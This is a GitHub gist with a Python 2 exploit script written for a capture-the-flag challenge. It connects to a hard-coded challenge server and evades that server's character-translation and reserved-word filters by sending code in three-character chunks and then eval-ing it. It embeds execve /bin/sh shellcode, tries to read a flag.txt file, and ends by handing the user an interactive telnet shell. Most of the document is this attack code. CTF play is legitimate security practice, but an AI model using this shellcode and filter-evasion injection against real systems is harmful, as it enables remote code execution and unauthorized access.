Created
February 22, 2016 10:24
-
-
Save mrexcessive/03534193fc44e51db962 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# pwnserver.py based on MyLittlePwnie challenge code from VolgaCTF 2015 | |
# in turn based on my EBP challenge code from PLAID | |
#@mrexcessive | |
import os, sys, code | |
import readline, rlcompleter | |
import socket | |
import time | |
import struct | |
import telnetlib | |
SERVER = "188.166.133.53" # the actual challenge server | |
PORT = 12589 | |
pauseDebugging = False # use this when debugging locally | |
goTelnetAtEnd = True # enable once you have some kind of expectation that it isn't all screwed up | |
# and you might actually get a shell | |
p = lambda x: struct.pack("<L", x) # from https://gist.github.com/soez/4ee5eb07d4a3982815ad | |
u = lambda x: struct.unpack('<L', x)[0] | |
p64 = lambda x: struct.pack("<Q", x) | |
u64 = lambda x: struct.unpack('<Q', x)[0] | |
localtest = False | |
if localtest: | |
#TESTING LOCALLY | |
SERVER = "localhost" | |
PORT = 1337 | |
#process flags and vars | |
flagDoPad = True | |
boxIn = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" | |
boxOut = "UOICwqkedcba" | |
#debug flags | |
debug = False | |
debugShowRaw = False | |
alphanums = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" | |
printables = alphanums + ".,<>?/!$%^&*()_-+=@'#][{}`#" | |
s = None # socket | |
old_data = "" # response data not yet processed | |
def HexPrint(what): | |
#expects list of ints | |
col = 0 | |
oplineA = "" | |
oplineB = "" | |
for c in what: | |
b = ord(c) | |
oplineA += "%02x " % b | |
if not c in printables: | |
c = '.' | |
oplineB += c | |
if col == 7: | |
oplineA += "- " | |
col += 1 | |
if col >= 16: | |
print oplineA + ' ' * (53-len(oplineA)) + oplineB | |
oplineA = "" | |
oplineB = "" | |
col = 0 | |
if oplineA <> "": # final line if any | |
print oplineA + ' ' * (53-len(oplineA)) + oplineB | |
def GetShellcode(FD = 0): | |
#dup2code = "\x31\xdb\xb3\xff\x5b\x31\xc9\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58\xcd\x80" | |
#shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\xbe\x2e\x61\x68\x6d\x81\xc6\x01\x01\x01\x01\x56\x89\xe3\x52\x53\x89\xe1\xcd\x80" | |
#sc = dup2code.replace("\xff",chr(FD & 0xff)) | |
#useshellcode = sc + shellcode | |
useshellcode = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80" # the one I'm using for IOsmash | |
# useshellcode = "\x6a\x04\x5b\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8" | |
# useshellcode += "\x31\xc0\x99\x52\x68\x6e\x2f\x73" | |
# useshellcode += "\x68\x68\x2f\x2f\x62\x69\x89\xe3" | |
# useshellcode += "\x52\x89\xe2\x53\x89\xe1\xb0\x0b" | |
# useshellcode += "\xcd\x80" | |
print "Shellcode = [%s]" % useshellcode.encode("hex") | |
print "shellcode length = %i" % len(useshellcode) | |
return useshellcode | |
def DoConnect(): | |
global s | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((SERVER,PORT)) | |
assert(s <> None) | |
def GetResponse(expect="",timeout=0.1): | |
global s, old_data | |
s.setblocking(0) | |
total_data=old_data | |
begin = time.time() | |
while True: | |
if total_data <> "" and time.time() - begin > timeout: # wait timeout sec if we have something | |
break | |
elif time.time() - begin > timeout * 2: # wait 2xtimeout if nothing | |
break | |
try: | |
data = s.recv(1024) | |
if data: | |
total_data += data | |
if expect in total_data: | |
total_data, old_data = total_data.split(expect,1) | |
total_data += expect | |
break | |
begin = time.time() | |
else: | |
time.sleep(0.01) | |
except: | |
pass | |
return total_data | |
def Send(v): | |
if debug: | |
sys.stdout.write(v) | |
sys.stdout.flush() | |
s.sendall(v) | |
def DoTranslate(a): | |
# input reordering: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ -> UOICwqkedcba | |
# 012345678901 | |
# just force the length with ; for now | |
padchar = ";" | |
op = boxIn # fully padded | |
if len(a)>len(boxOut): | |
print "TRUNCATED BEFORE SENDING" | |
a = a[:len(boxOut)] | |
else: | |
if flagDoPad: # pad with spaces to length | |
a = (a + " "*len(boxOut))[:len(boxOut)] | |
for i,c in enumerate(a): # a[N] maps to position of bo[N] | |
lkup = boxOut[i] | |
lkuppos = boxIn.find(lkup) | |
op = op[:lkuppos] + c + op[lkuppos+1:] # insert c | |
return op | |
def TranslateAndSendShowResponse(a): | |
b = DoTranslate(a) | |
Send(b+"\n") | |
r = GetResponse(expect="$", timeout=2) | |
if debugShowRaw: HexPrint(r) | |
sys.stdout.write(r) | |
sys.stdout.flush() | |
def SendAndMaybeEval(code, doEval=False): | |
# break code up into 3 char chunks appends to 'a' then eval it | |
# 3 char not 12 char because of 'reserved word' spotting... | |
TranslateAndSendShowResponse("a=''") | |
while len(code) > 0: | |
bit = code[:3] | |
code = code[3:] | |
TranslateAndSendShowResponse("a+='%s'" % bit) | |
if doEval: TranslateAndSendShowResponse("eval(a)") | |
def PwnServer(): | |
if True: | |
dummy="""a=this._events.close; b=this._events.line; process; | |
""" | |
dummy=""" | |
r.onerror = function(event) { | |
console.error("Nope: " + event.target.error.code); | |
}; | |
""" | |
if False: code=""" | |
var r = new FileReader(); | |
r.onload = function(e) { var c = e.target.result; }; | |
r.readAsText('flag.txt'); | |
""" | |
if False: code=""" | |
var op=""; | |
function er(o) | |
{ | |
for (var k in o) { | |
if (typeof(o[k] == "object" && o[k] != null) | |
er(o[k]) | |
else | |
op += o.toString(); | |
} | |
} | |
er(process); | |
op; | |
""" | |
code = """ | |
import 'FileReader'; | |
fr=new FileReader(); | |
""" | |
code = code.replace("\n","") | |
SendAndMaybeEval(code,True) | |
if True: # give control to user | |
while True: | |
r = GetResponse(expect="\n$", timeout=1) | |
if debugShowRaw: HexPrint(r) | |
sys.stdout.write(r) | |
sys.stdout.flush() | |
a = raw_input() | |
if a == "quit": | |
break | |
a = a.replace("\n","") | |
SendAndMaybeEval(a,True) | |
# b = DoTranslate(a) | |
# b += "\n" | |
# if debugShowRaw: HexPrint("SEND"+b) | |
# s.send(b) | |
if __name__ == "__main__": | |
vars = globals() | |
vars.update(locals()) | |
readline.set_completer(rlcompleter.Completer(vars).complete) | |
readline.parse_and_bind("tab: complete") | |
shell = code.InteractiveConsole(vars) | |
# any startups | |
DoConnect() | |
if pauseDebugging: | |
print "Attach debugger then press <Enter>" | |
raw_input() | |
PwnServer() | |
exit() | |
if goTelnetAtEnd: | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
# go interactive | |
#shell.interact() # exit... cos... reasons |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment